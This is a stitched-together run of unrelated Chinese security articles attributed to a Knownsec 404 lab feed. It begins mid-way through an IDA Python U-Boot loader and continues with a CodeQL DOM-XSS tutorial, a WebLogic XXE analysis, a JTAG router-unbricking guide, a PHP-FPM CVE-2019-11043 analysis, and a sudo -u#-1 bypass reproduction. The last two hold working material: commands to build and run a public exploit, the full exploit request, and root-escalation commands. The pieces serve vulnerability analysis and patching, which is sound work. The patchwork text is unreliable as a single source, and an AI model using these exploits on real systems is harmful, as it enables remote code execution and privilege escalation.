        for address in range(self.got_ptr, self.end_addr, 4):
            value = idc.Dword(address)
            if value == 0xFFFFFFFF:
                break
            idc.MakeDword(address)
            idaapi.autoWait()
            if idc.Dword(value) != 0xFFFFFFFF:
                func_name = idc.get_func_name(value)
                if not idc.get_func_name(value):
                    idc.create_strlit(value, idc.BADADDR)
                else:
                    self.funcs.append(func_name)

    def get_max_text_addr(self):
        assert(self.funcs)
        max_addr = 0
        for func_name in self.funcs:
            addr = idc.get_name_ea_simple(func_name)
            end_addr = idc.find_func_end(addr)
            if end_addr > max_addr:
                max_addr = end_addr
        if max_addr % 0x10 == 0:
            self.max_text_addr = max_addr
        else:
            self.max_text_addr = max_addr + 0x10 - (max_addr % 0x10)

    def add_segment(self, start, end, name, type_):
        segment = idaapi.segment_t()
        segment.startEA = start
        segment.endEA = end
        segment.bitness = 1
        idaapi.add_segm_ex(segment, name, type_, idaapi.ADDSEG_SPARSE | idaapi.ADDSEG_OR_DIE)

    def start(self):
        # text seg
        self.uboot_header()
        self.got()
        self.get_max_text_addr()
        self.add_segment(self.start_addr, self.max_text_addr, ".text", "CODE")
        # end
        idc.jumpto(self.start_addr)


if __name__ == "__main__":
    print("Hello World")

*本文作者:[email protected]知道创宇404实验室,转载请注明来自FreeBuf.COM

QL是一种查询语言,支持对C++,C#,Java,JavaScript,Python,go等多种语言进行分析,可用于分析代码,查找代码中控制流等信息。之前笔者有简单的研究通过JavaScript语义分析来查找XSS,所以对于这款引擎有浓厚的研究兴趣 。

安装

1.下载分析程序:https://github.com/github/codeql-cli-binaries/releases/latest/download/codeql.zip

分析程序支持主流的操作系统,Windows,Mac,Linux

2.下载相关库文件:https://github.com/Semmle/ql

库文件是开源的,我们要做的是根据这些库文件来编写QL脚本。

3.下载最新版的VScode,安装CodeQL扩展程序:https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql

用vscode的扩展可以方便我们看代码

然后到扩展中心配置相关参数

4.

cli填写下载的分析程序路径就行了,windows可以填写codeql.cmd

其他地方默认就行

建立数据库

以JavaScript为例,建立分析数据库,建立数据库其实就是用分析程序来分析源码。到要分析源码的根目录,执行codeql database create jstest –language=javascript

接下来会在该目录下生成一个jstest的文件夹,就是数据库的文件夹了。

接着用vscode打开之前下载的ql库文件,在ql选择夹中添加刚才的数据库文件,并设置为当前数据库。

接着在QL/javascript/ql/src目录下新建一个test.ql,用来编写我们的ql脚本。为什么要在这个目录下建立文件呢,因为在其他地方测试的时候import javascript导入不进来,在这个目录下,有个javascript.qll就是基础类库,就可以直接引入import javascript,当然可能也有其他的方法。

看它的库文件,它基本把JavaScript中用到的库,或者其他语言的定义语法都支持了。

输出一段hello world试试?

语义分析查找的原理

刚开始接触ql语法的时候可能会感到它的语法有些奇怪,它为什么要这样设计?我先说说自己之前研究基于JavaScript语义分析查找dom-xss是怎样做的。

首先一段类似这样的javascript代码

var param = location.hash.split("#")[1];
document.write("Hello " + param + "!");

常规的思路是,我们先找到document.write函数,由这个函数的第一个参数回溯寻找,如果发现它最后是location.hash.split(“#”)[1];,就寻找成功了。我们可以称document.write为sink,称location.hash.split为source。基于语义分析就是由sink找到source的过程(当然反过来找也是可以的)。

而基于这个目标,就需要我们设计一款理解代码上下文的工具,传统的正则搜索已经无法完成了。

第一步要将JavaScript的代码转换为语法树,通过pyjsparser可以进行转换

from pyjsparser import parse
import json
html = '''
    var param = location.hash.split("#")[1];
document.write("Hello " + param + "!");
    '''
js_ast = parse(html)
print(json.dumps(js_ast)) # 它输出的是python的dict格式,我们用转换为json方便查看

最终就得到了如下一个树结构

这些树结构的一些定义可以参考:https://esprima.readthedocs.io/en/3.1/syntax-tree-format.html

大概意思可以这样理解:变量param是一个Identifier类型,它的初始化定义的是一个MemberExpression表达式,该表达式其实也是一个CallExpression表达式,CallExpression表达式的参数是一个Literal类型,而它具体的定义又是一个MemberExpression表达式。

第二步,我们需要设计一个递归来找到每个表达式,每一个Identifier,每个Literal类型等等。我们要将之前的document.write转换为语法树的形式

{
"type":"MemberExpression",
  "object":{
    "type":"Identifier",
    "name":"document"
  },
  "property":{
    "type":"Identifier",
    "name":"write"
  }
}

location.hash也是同理

{
  "type":"MemberExpression",
  "object":{
    "type":"Identifier",
    "name":"location"
  },
  "property":{
    "type":"Identifier",
    "name":"hash"
  }
}

在找到了这些sink或source后,再进行正向或反向的回溯分析。回溯分析也会遇到不少问题,如何处理对象的传递,参数的传递等等很多问题。之前也基于这些设计写了一个在线基于语义分析的demo

QL语法

QL语法虽然隐藏了语法树的细节,但其实它提供了很多类似类,函数的概念来帮助我们查找相关’语法’。

依旧是这段代码为例子

var param = location.hash.split("#")[1];
document.write("Hello " + param + "!");

上文我们已经建立好了查询的数据库,现在我们分别来看如何查找sink,source,以及怎样将它们关联起来。

我也是看它的文档:https://help.semmle.com/QL/learn-ql/javascript/introduce-libraries-js.html 学习的,它提供了很多方便的函数,我没有仔细看。我的查询语句都是基于语法树的查询思想,可能官方已经给出了更好的查询方式,所以看看就行了,反正也能用。

查询 document.write

import javascript

from Expr dollarArg,CallExpr dollarCall
where dollarCall.getCalleeName() = "write" and
    dollarCall.getReceiver().toString() = "document" and
    dollarArg = dollarCall.getArgument(0)
select dollarArg

这段语句的意思是查找document.write,并输出它的第一个参数

查找 location.hash.split

import javascript

from CallExpr dollarCall
where dollarCall.getCalleeName() = "split" and
    dollarCall.getReceiver().toString() = "location.hash"
select dollarCall

查找location.hash.split并输出

数据流分析

接着从sink来找到source,将上面语句组合下,按照官方的文档来就行

class XSSTracker extends TaintTracking::Configuration {
  XSSTracker() {
    // unique identifier for this configuration
    this = "XSSTracker"
  }

  override predicate isSource(DataFlow::Node nd) {
   exists(CallExpr dollarCall |
      nd.asExpr() instanceof CallExpr and
      dollarCall.getCalleeName() = "split" and
      dollarCall.getReceiver().toString() = "location.hash" and
      nd.asExpr() = dollarCall
    ) 
  }

  override predicate isSink(DataFlow::Node nd) {
    exists(CallExpr dollarCall |
      dollarCall.getCalleeName() = "write" and
      dollarCall.getReceiver().toString() = "document" and
      nd.asExpr() = dollarCall.getArgument(0)
    )
  }
}

from XSSTracker pt, DataFlow::Node source, DataFlow::Node sink
where pt.hasFlow(source, sink)
select source,sink

将source和sink输出,就能找到它们具体的定义。

我们找到查询到的样本

可以发现它的回溯是会根据变量,函数的返回值一起走的。

当然从source到sink也不可能是一马平川的,中间肯定也会有阻挡的条件,ql官方有给出解决方案。总之就是要求我们更加细化完善ql查询代码。

接下来放出几个查询还不精确的样本,大家可以自己尝试如何进行查询变得精确。

var custoom = location.hash.split("#")[1];
var param = '';
param = " custoom:" + custoom;
param = param.replace('<','');
param = param.replace('"','');
document.write("Hello " + param + "!");
quora = {
    zebra: function (apple) {
        document.write(this.params);
    },
    params:function(){
        return location.hash.split('#')[1];
    }
};
quora.zebra();

最后

CodeQL将语法树抽离出来,提供了一种用代码查询代码的方案,更增强了基于数据分析的灵活度。唯一的遗憾是它并没有提供很多查询漏洞的规则,它让我们自己写。这也不由得让我想起另一款强大的基于语义的代码审计工具fortify,它的规则库是公开的,将这两者结合一下说不定会有不一样的火花。

Github公告说将用它来搜索开源项目中的问题,而作为安全研究员的我们来说,也可以用它来做类似的事情?

*本文作者:[email protected]知道创宇404实验室,转载请注明来自FreeBuf.COM

这个漏洞和之前@Matthias Kaiser提交的几个XXE漏洞是类似的,而EJBTaglibDescriptor应该是漏掉的一个,可以参考之前几个XXE的分析。我和@Badcode师傅反编译了WebLogic所有的Jar包,根据之前几个XXE漏洞的特征进行了搜索匹配到了这个EJBTaglibDescriptor类,这个类在反序列化时也会进行XML解析。

Oracle发布了10月份的补丁,详情见链接(https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html)

环境

Windows 10

WebLogic 10.3.6.0.190716(安装了19年7月补丁)

Jdk160_29(WebLogic 自带的JDK)

漏洞分析

weblogic.jar!\weblogic\servlet\ejb2jsp\dd\EJBTaglibDescriptor.class这个类继承自java\io\Externalizable

因此在序列化与反序列化时会自动调用子类重写的writeExternal与readExternal

看下writeExternal的逻辑与readExternal的逻辑,

在readExternal中,使用ObjectIutput.readUTF读取反序列化数据中的String数据,然后调用了load方法,

在load方法中,使用DocumentBuilder.parse解析了反序列化中传递的XML数据,因此这里是可能存在XXE漏洞的

在writeExternal中,调用了本身的toString方法,在其中又调用了自身的toXML方法

toXML的作用应该是将this.beans转换为对应的xml数据。看起来要构造payload稍微有点麻烦,但是序列化操作是攻击者可控制的,所以我们可以直接修改writeExternal的逻辑来生成恶意的序列化数据:

漏洞复现

重写EJBTaglibDescriptor中的writeExternal函数,生成payload

发送payload到服务器

在我们的HTTP服务器和FTP服务器接收到了my.dtd的请求与win.ini的数据

在打了7月份最新补丁的服务器上能看到报错信息

参考链接:

[1]分析:https://paper.seebug.org/906/

[2]https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

*本文作者:[email protected]知道创宇404实验室,转载请注明来自FreeBuf.COM

最近在搞路由器的时候,不小心把CFE给刷挂了,然后发现能通过jtag进行救砖,所以就对jtag进行了一波研究。

最开始只是想救砖,并没有想深入研究的想法。

救砖尝试

变砖的路由器型号为:LinkSys wrt54g v8

CPU 型号为:BCM5354

Flash型号为:K8D6316UBM

首先通过jtagulator得到了设备上jtag接口的顺序。

正好公司有一个jlink,但是参试了一波失败,识别不了设备。

随后通过Google搜到发现了一个工具叫: tjtag-pi

可以通树莓派来控制jtag,随后学习了一波树莓派的操作。

树莓派Pins

我使用的是rpi3,其接口编号图如下:

或者在树莓派3中可以使用gpio readall查看各个接口的状态:

rpi3中的Python有一个RPi.GPIO模块,可以控制这些接口。

举个例子:

>>> from RPi import GPIO
>>> GPIO.setmode(GPIO.BCM)
>>> GPIO.setup(2, GPIO.OUT)
>>> GPIO.setup(3, GPIO.IN)

首先是需要进行初始化GPIO的模式,BCM模式对应的针脚排序是上面图中橙色的部门。

然后可以对各个针脚进行单独设置,比如上图中,把2号针脚设置为输出,3号针脚设置为输入。

>>> GPIO.output(2, 1)
>>> GPIO.output(2, 0)

使用output函数进行二进制输出

>>> GPIO.input(3)
1

使用input函数获取针脚的输入。

我们可以用线把两个针脚连起来测试上面的代码。

将树莓派对应针脚和路由器的连起来以后,可以运行tjtag-pi程序。但是在运行的过程中却遇到了问题,经常会卡在写flash的时候。通过调整配置,有时是可以写成功的,但是CFE并没有被救回来,备份flash的数据,发现并没有成功写入数据。

因为使用轮子失败,所以我只能自己尝试研究和造轮子了。

jtag

首先是针脚,我见过的设备给jtag一般是提供了5 * 2以上的引脚。其中有一般都是接地引脚,另一半只要知道4个最重要的引脚。

这四个引脚一般情况下的排序是:

TDI
TDO
TMS
TCK

TDI表示输入,TDO表示输出,TMS控制位,TCK时钟输入。

jtag大致架构如上图所示,其中TAP-Controller的架构如下图所示:

根据上面这两个架构,对jtag的原理进行讲解。

jtag的核心是TAP-Controller,通过解析TMS数据,来决定输入和输出的关系。所以我们先来看看TAP-Controller的架构。

从上面的图中我们可以发现,在任何状态下,输出5次1,都会回到TEST LOGIC RESET状态下。所以在使用jtag前,我们先通过TMS端口,发送5次为1的数据,jtag的状态机将会进入到RESET的复原状态。

当TAP进入到SHIFT-IR的状态时,Instruction Register将会开始接收TDI传入的数据,当输入结束后,进入到UPDATE-IR状态时将会解析指令寄存器的值,随后决定输出什么数据。

SHIFT-DR则是控制数据寄存器,一般是在读写数据的时候需要使用。

讲到这里,就出现一个问题了,TMS就一个端口,jtag如何知道TMS每次输入的值是多少呢?这个时候就需要用到TCK端口了,该端口可以称为时钟指令。当TCK从低频变到高频时,获取一比特TMS/TDI输入,TDO输出1比特。

比如我们让TAP进行一次复位操作:

for x in range(5):
    TCK 0
    TMS 1
    TCK 1

再比如,我们需要给指令寄存器传入0b10:

1.复位

2.进入RUN-TEST/IDLE状态

TCK 0
TMS 0
TCK 1

3.进入SELECT-DR-SCAN状态

TCK 0
TMS 1
TCK 1

4.进入SELECT-IR-SCAN状态

TCK 0
TMS 1
TCK 1

5.进入CAPTURE-IR状态

TCK 0
TMS 0
TCK 1

6.进入SHIFT-IR状态

TCK 0
TMS 0 
TCK 1

7.输入0b10

TCK 0
TMS 0
TDI 0
TCK 1
TCK 0
TMS 1
TDI 1
TCK 0

随后就是进入EXIT-IR -> UPDATE-IR

根据上面的理论我们就可以通过写一个设置IR的函数:

def clock(tms, tdi):
    tms = 1 if tms else 0
    tdi = 1 if tdi else 0
    GPIO.output(TCK, 0)
    GPIO.output(TMS, tms)
    GPIO.output(TDI, tdi)
    GPIO.output(TCK, 1)
    return GPIO.input(TDO)
def reset():
    clock(1, 0)
    clock(1, 0)
    clock(1, 0)
    clock(1, 0)
    clock(1, 0)
    clock(0, 0)
def set_instr(instr):
    clock(1, 0)  
    clock(1, 0)
    clock(0, 0)
    clock(0, 0)
    for i in range(INSTR_LENGTH):
        clock(i==(INSTR_LENGTH - 1), (instr>>i)&amp;1)
    clock(1, 0)
    clock(0, 0)

把上面的代码理解清楚后,基本就理解了TAP的逻辑。接下来就是指令的问题了,指令寄存器的长度是多少?指令寄存器的值为多少时是有意义的?

不同的CPU对于上面的答案都不一样,通过我在网上搜索的结果,每个CPU应该都有一个bsd(boundary scan description)文件。本篇文章研究的CPU型号是BCM5354,但是我并没有在网上找到该型号CPU的bsd文件。我只能找了一个相同厂商不同型号的CPU的bsd文件进行参考。

bcm53101m.bsd

在该文件中我们能看到jtag端口在cpu端口的位置:

"tck              : B46  , " &
"tdi              : A57  , " &
"tdo              : B47  , " &
"tms              : A58  , " &
"trst_b           : A59  , " &

attribute TAP_SCAN_RESET of trst_b                   : signal is true;
attribute TAP_SCAN_IN    of tdi                      : signal is true;
attribute TAP_SCAN_MODE  of tms                      : signal is true;
attribute TAP_SCAN_OUT   of tdo                      : signal is true;
attribute TAP_SCAN_CLOCK of tck                      : signal is (2.5000000000000000000e+07, BOTH);

能找到指令长度的定义:

attribute INSTRUCTION_LENGTH of top: entity is 32;

能找到指令寄存器的有效值:

attribute INSTRUCTION_OPCODE of top: entity is
  "IDCODE       (11111111111111111111111111111110)," &
  "BYPASS       (00000000000000000000000000000000, 11111111111111111111111111111111)," &
  "EXTEST       (11111111111111111111111111101000)," &
  "SAMPLE       (11111111111111111111111111111000)," &
  "PRELOAD      (11111111111111111111111111111000)," &
  "HIGHZ        (11111111111111111111111111001111)," &
  "CLAMP        (11111111111111111111111111101111) " ;

当指令寄存器的值为IDCODE的时候,IDCODE寄存器的输出通道开启,我们来看看IDCODE寄存器:

attribute IDCODE_REGISTER of top: entity is
  "0000"             & -- version
  "0000000011011111" & -- part number
  "00101111111"      & -- manufacturer's identity
  "1";                   -- required by 1149.1

从这里我们能看出IDCODE寄存器的固定输出为: 0b00000000000011011111001011111111

那我们怎么获取TDO的输出呢?这个时候数据寄存器DR就发挥作用了。

1.TAP状态机切换到SHIFT-IR

2.输出IDCODE到IR中

3.切换到SHIFT-DR

4.获取INSTRUCTION_LENGTH长度的TDO输出值

5.退出

用代码形式的表示如下:

def ReadWriteData(data):
    out_data = 0
    clock(1, 0)
    clock(0, 0)
    clock(0, 0)
    for i in range(32):            
        out_bit  = clock((i == 31), ((data >> i) &amp; 1))
        out_data = out_data | (out_bit << i)
    clock(1,0)
    clock(0,0)
    return out_data
def ReadData():
    return ReadWriteData(0)
def WriteData(data):
    ReadWriteData(data)
def idcode():
    set_instr(INSTR_IDCODE)
    print(hex(self.ReadData()))

因为我也是个初学者,边界扫描描述文件中的内容并不是都能看得懂,比如在边界扫描文件中并不能看出BYPASS指令是做什么的。但是在其他文档中,得知BYPASS寄存器一般是用来做测试的,在该寄存器中,输入和输出是直连,可以通过比较输入和输出的值,来判断端口是否连接正确。

另外还有边界扫描寄存器一大堆数据,也没完全研究透,相关的资料少的可怜。而且也找不到对应CPU的文档。

当研究到这里的时候,我只了解了jtag的基本原理,只会使用两个基本的指令(IDCODE, BYPASS)。但是对我修砖没任何帮助。

没办法,我又回头来看tjtag的源码,在tjtag中定义了几个指令寄存器的OPCODE:

INSTR_ADDRESS = 0x08
INSTR_DATA    = 0x09
INSTR_CONTROL = 0x0A

照抄着tjtag中flash AMD的操作,可以成功对flash进行擦除,写入操作读取操作。但是却不知其原理。

这里分享下我的脚本:jtag.py

flash文档:https://www.dataman.com/media/datasheet/Samsung/K8D6x16UTM_K8D6x16UBM_rev16.pdf

接下来将会对该flash文档进行研究,并在之后的文章中分享我后续的研究成果。

*本文作者:[email protected]知道创宇404实验室,转载请注明来自FreeBuf.COM

国外安全研究员 Andrew Danau在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。

2019年10月23日,github公开漏洞相关的详情以及exp。当nginx配置不当时,会导致php-fpm远程任意代码执行。

下面我们就来一点点看看漏洞的详细分析,文章中漏洞分析部分感谢团队小伙伴@Hcamael#知道创宇404实验室

漏洞复现

为了能更方便的复现漏洞,这里我们采用vulhub来构建漏洞环境。

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

git pull并docker-compose up -d

访问http://{your_ip}:8080/

下载github上公开的exp(需要go环境)。

go get github.com/neex/phuip-fpizdam

然后编译

go install github.com/neex/phuip-fpizdam

使用exp攻击demo网站

phuip-fpizdam http://{your_ip}:8080/

攻击成功

漏洞分析

在分析漏洞原理之前,我们这里可以直接跟入看修复的commit

https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227

从commit中我们可以很清晰的看出来漏洞成因应该是path_info的地址可控导致的,再结合漏洞发现者公开的漏洞信息中提到

The regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug.

也就是说,当path_info被%0a截断时,path_info将被置为空,回到代码中我就不难发现问题所在了。

其中env_path_info就是变量path_info的地址,path_info为0则plien为0.

slen变量来自于请求后url的长度

    int ptlen = strlen(pt);
    int slen = len - ptlen;

其中

int len = script_path_translated_len;
len为url路径长度
当请求url为http://127.0.0.1/index.php/123%0atest.php
script_path_translated来自于nginx的配置,为/var/www/html/index.php/123\ntest.php
ptlen则为url路径第一个斜杠之前的内容长度
当请求url为http://127.0.0.1/index.php/123%0atest.php
pt为/var/www/html/index.php

这两个变量的差就是后面的路径长度,由于路径可控,则path_info可控。

由于path_info可控,在1222行我们就可以将指定地址的值置零,根据漏洞发现者的描述,通过将指定的地址的值置零,可以控制使_fcgi_data_seg结构体的char* pos置零。

其中script_name同样来自于请求的配置

而为什么我们使_fcgi_data_seg结构体的char* pos置零,就会影响到FCGI_PUTENV的结果呢?

这里我们深入去看FCGI_PUTENV的定义.

char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val);

跟入函数fcgi_quick_putenv

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L1703

函数直接操作request的env,而这个参数在前面被预定义。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L908

继续跟进初始化函数fcgi_hash_init.

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L254

也就是说request->env就是前面提到的fcgi_data_seg结构体,而这里的request->env是nginx在和fastcgi通信时储存的全局变量。

部分全局变量会在nginx的配置中定义

其中变量会在堆上相应的位置储存

回到利用过程中,这里我们通过控制path_info指向request->env来使request->env->pos置零。

继续回到赋值函数fcgi_hash_set函数

紧接着进入fcgi_hash_strndup

这里h->data-》pos的最低位被置为0,且str可控,就相当于我们可以在前面写入数据。

而问题就在于,我们怎么能向我们想要的位置写数据呢?又怎么向我们指定的配置写文件呢?

这里我们拿exp发送的利用数据包做例子

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: ubuntu.local:8080
User-Agent: Mozilla/5.0
D-Gisos: 8=====================================D
Ebut: mamku tvoyu

在数据包中,header中的最后两部分就是为了完成这部分功能,其中D-Gisos负责位移,向指定的位置写入数据。

而Ebut会转化为HTTP_EBUT这个fastcgi_param中的其中一个全局变量,然后我们需要了解一下fastcgi中全局变量的获取数据的方法。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L328

可以看到当fastcgi想要获取全局变量时,会读取指定位置的长度字符做对比,然后读取一个字符串作为value.

也就是说,只要位置合理,var值相同,且长度相同,fastcgi就会读取相对应的数据。

而HTTP_EBUT和PHP_VALUE恰好长度相同,我们可以从堆上数据的变化来印证这一点。

在覆盖之前,该地址对应数据为

然后执行fcgi_quick_putenv

该地址对应数据变为

我们成功写入了PHP_VALUE并控制其内容,这也就意味着我们可以控制PHP的任意全局变量。

当我们可以控制PHP的任意全局变量就有很多种攻击方式,这里直接以EXP中使用到的攻击方式来举例子。

exp作者通过开启自动包含,并设置包含目录为/tmp,之后设置log地址为/tmp/a并将payload写入log文件,通过auto_prepend_file自动包含/tmp/a文件构造后门文件。

漏洞修复

在经过对漏洞的深入研究后,我们推荐两种方案修复这个漏洞。

临时修复:

修改nginx相应的配置,并在php相关的配置中加入

    try_files $uri =404

在这种情况下,会有nginx去检查文件是否存在,当文件不存在时,请求都不会被传递到php-fpm。

正式修复:

将PHP 7.1.X更新至7.1.33 https://github.com/php/php-src/releases/tag/php-7.1.33

将PHP 7.2.X更新至7.2.24 https://github.com/php/php-src/releases/tag/php-7.2.24

将PHP 7.3.X更新至7.3.11 https://github.com/php/php-src/releases/tag/php-7.3.11

漏洞影响

结合EXP github中提到的利用条件,我们可以尽可能的总结利用条件以及漏洞影响范围。

1、Nginx + php_fpm,且配置location ~ [^/]\.php(/|$)会将请求转发到php-fpm。

2、Nginx配置fastcgi_split_path_info并且以^开始以$,只有在这种条件下才可以通过换行符来打断正则表达式判断。 ps: 则允许index.php/321 -> index.php

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

3、fastcgi_param中PATH_INFO会被定义通过fastcgi_param PATH_INFO $fastcgi_path_info;,当然这个变量会在fastcgi_params默认定义。

4、在nginx层面没有定义对文件的检查比如try_files $uri =404,如果nginx层面做了文件检查,则请求不会被转发给php-fmp。

这个漏洞在实际研究过程中对真实世界危害有限,其主要原因都在于大部分的nginx配置中都携带了对文件的检查,且默认的nginx配置不包含这个问题。

但也正是由于这个原因,在许多网上的范例代码或者部分没有考虑到这个问题的环境,例如Nginx官方文档中的范例配置、NextCloud默认环境,都出现了这个问题,该漏洞也正真实的威胁着许多服务器的安全。

在这种情况下,这个漏洞也切切实实的陷入了黑暗森林法则,一旦有某个带有问题的配置被传播,其导致的可能就是大批量的服务受到牵连,确保及时的更新永远是对保护最好的手段:>

参考链接

漏洞issue

漏洞发现者提供的环境

漏洞exp

漏洞成因代码段

漏洞修复commit

vulhub

https://www.nginx.com/resources/wiki/start/topics/examples/phpfcgi/

Seebug漏洞收录

如需转载请注明来源。

原文链接:https://paper.seebug.org/1063/

*本文作者:LoRexxar’@知道创宇404实验室,转载请注明来自FreeBuf.COM

近日 sudo 被爆光一个漏洞,非授权的特权用户可以绕过限制获得特权。官方的修复公告请见:https://www.sudo.ws/alerts/minus_1_uid.html

一、漏洞复现

实验环境:

操作系统 CentOS Linux release 7.5.1804
内核 3.10.0-862.14.4.el7.x86_64
sudo 版本 1.8.19p2

首先添加一个系统帐号 test_sudo 作为实验所用:

[[email protected] ~] # useradd test_sudo

然后用 root 身份在 /etc/sudoers 中增加:

test_sudo ALL=(ALL,!root) /usr/bin/id

表示允许 test_sudo 帐号以非 root 外的身份执行 /usr/bin/id,如果试图以 root 帐号运行 id 命令则会被拒绝:

[[email protected] ~] $ sudo id
对不起,用户 test_sudo 无权以 root 的身份在 localhost.localdomain 上执行 /bin/id。

sudo -u 也可以通过指定 UID 的方式来代替用户,当指定的 UID 为 -1 或 4294967295(-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞,绕过上面的限制并以 root 身份执行命令:

[[email protected] ~]$ sudo -u#-1 id
uid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[[email protected] ~]$ sudo -u#4294967295 id
uid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

二、漏洞原理分析

在官方代码仓库找到提交的修复代码:https://www.sudo.ws/repos/sudo/rev/83db8dba09e7

从提交的代码来看,只修改了 lib/util/strtoid.c。strtoid.c 中定义的 sudo_strtoid_v1 函数负责解析参数中指定的 UID 字符串,补丁关键代码:

/* Disallow id -1, which means "no change". */if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) {  if (errstr != NULL)    *errstr = N_("invalid value");  errno = EINVAL;  goto done; }

llval 变量为解析后的值,不允许 llval 为 -1 和 UINT_MAX(4294967295)。

也就是补丁只限制了取值而已,从漏洞行为来看,如果为 -1,最后得到的 UID 却是 0,为什么不能为 -1?当 UID 为 -1 的时候,发生了什么呢?继续深入分析一下。

我们先用 strace 跟踪下系统调用看看:

[[email protected] ~]# strace -u test_sudo sudo -u#-1 id

因为 strace -u 参数需要 root 身份才能使用,因此上面命令需要先切换到 root 帐号下,然后用 test_sudo 身份执行了 sudo -u#-1 id 命令。从输出的系统调用中,注意到:

setresuid(-1, -1, -1)                   = 0

sudo 内部调用了 setresuid 来提升权限(虽然还调用了其他设置组之类的函数,但先不做分析),并且传入的参数都是 -1。

因此,我们做一个简单的实验来调用 setresuid(-1, -1, -1) ,看看为什么执行后会是 root 身份,代码如下:

#include <stdio.h>#include <sys/types.h>#include <unistd.h>int main() {
  setresuid(-1, -1, -1);
  setuid(0);
  printf("EUID: %d, UID: %d\n", geteuid(), getuid());
  return 0;}

注意,需要将编译后的二进制文件所属用户改为 root,并加上 s 位,当设置了 s 位后,其他帐号执行时就会以文件所属帐号的身份运行。

为了方便,我直接在 root 帐号下编译,并加 s 位:

[[email protected] tmp] # gcc test.c
[[email protected] tmp] # chmod +s a.out

然后以 test_sudo 帐号执行 a.out:

[[email protected] tmp] $ ./a.out
EUID: 0, UID: 0

